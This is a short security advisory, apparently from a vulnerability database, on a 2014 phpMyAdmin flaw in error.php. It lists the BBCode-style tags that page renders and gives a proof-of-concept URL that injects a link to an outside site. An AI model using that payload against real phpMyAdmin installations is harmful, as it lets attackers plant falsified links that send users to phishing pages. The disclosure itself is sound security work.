PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification

🗓️ 01 Jul 2014 00:00:00Reported by RootType

PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsificatio


                                                PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification

Credits:
  Emanuele &#39;emgent&#39; Gentili   &#60;[email protected]&#62;
  Marco &#39;white_sheep&#39; Rondini &#60;[email protected]&#62;
  Alessandro &#39;scox&#39; Scoscia   &#60;[email protected]&#62;


In error.php, PhpMyAdmin permit to insert text and restricted tag, like BBCode.
With tag [a@url@page]Click Me[/a], you can insert your own page, and redirect all users.
Available tags are:


      &#39;[i]&#39;       =&#62; &#39;&#60;em&#62;&#39;,      
      &#39;[/i]&#39;      =&#62; &#39;&#60;/em&#62;&#39;,     
      &#39;[em]&#39;      =&#62; &#39;&#60;em&#62;&#39;,
      &#39;[/em]&#39;     =&#62; &#39;&#60;/em&#62;&#39;,
      &#39;[b]&#39;       =&#62; &#39;&#60;strong&#62;&#39;,  
      &#39;[/b]&#39;      =&#62; &#39;&#60;/strong&#62;&#39;, 
      &#39;[strong]&#39;  =&#62; &#39;&#60;strong&#62;&#39;,
      &#39;[/strong]&#39; =&#62; &#39;&#60;/strong&#62;&#39;,
      &#39;[tt]&#39;      =&#62; &#39;&#60;code&#62;&#39;,    
      &#39;[/tt]&#39;     =&#62; &#39;&#60;/code&#62;&#39;,   
      &#39;[code]&#39;    =&#62; &#39;&#60;code&#62;&#39;,
      &#39;[/code]&#39;   =&#62; &#39;&#60;/code&#62;&#39;,
      &#39;[kbd]&#39;     =&#62; &#39;&#60;kbd&#62;&#39;,
      &#39;[/kbd]&#39;    =&#62; &#39;&#60;/kbd&#62;&#39;,
      &#39;[br]&#39;      =&#62; &#39;&#60;br /&#62;&#39;,
      &#39;[/a]&#39;      =&#62; &#39;&#60;/a&#62;&#39;,
      &#39;[sup]&#39;      =&#62; &#39;&#60;sup&#62;&#39;,
      &#39;[/sup]&#39;      =&#62; &#39;&#60;/sup&#62;&#39;,

      and replace &#39;/\[a@([^&#34;@]*)@([^]&#34;]*)\]/&#39; with &#39;&#60;a href=&#34;\1&#34; target=&#34;\2&#34;&#62;&#39;


POC:

http://127.0.0.1/phpmyadmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br]It%27s+possible+use+some+special+tags+too[br]Found+by+Tiger+Security+Tiger+Team+-+[a%40http://www.tigersecurity.it%40_self]This%20Is%20a%20Link[%2Fa]


OWASP Reference:

http://www.owasp.org/index.php/Unvalidated_Input

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1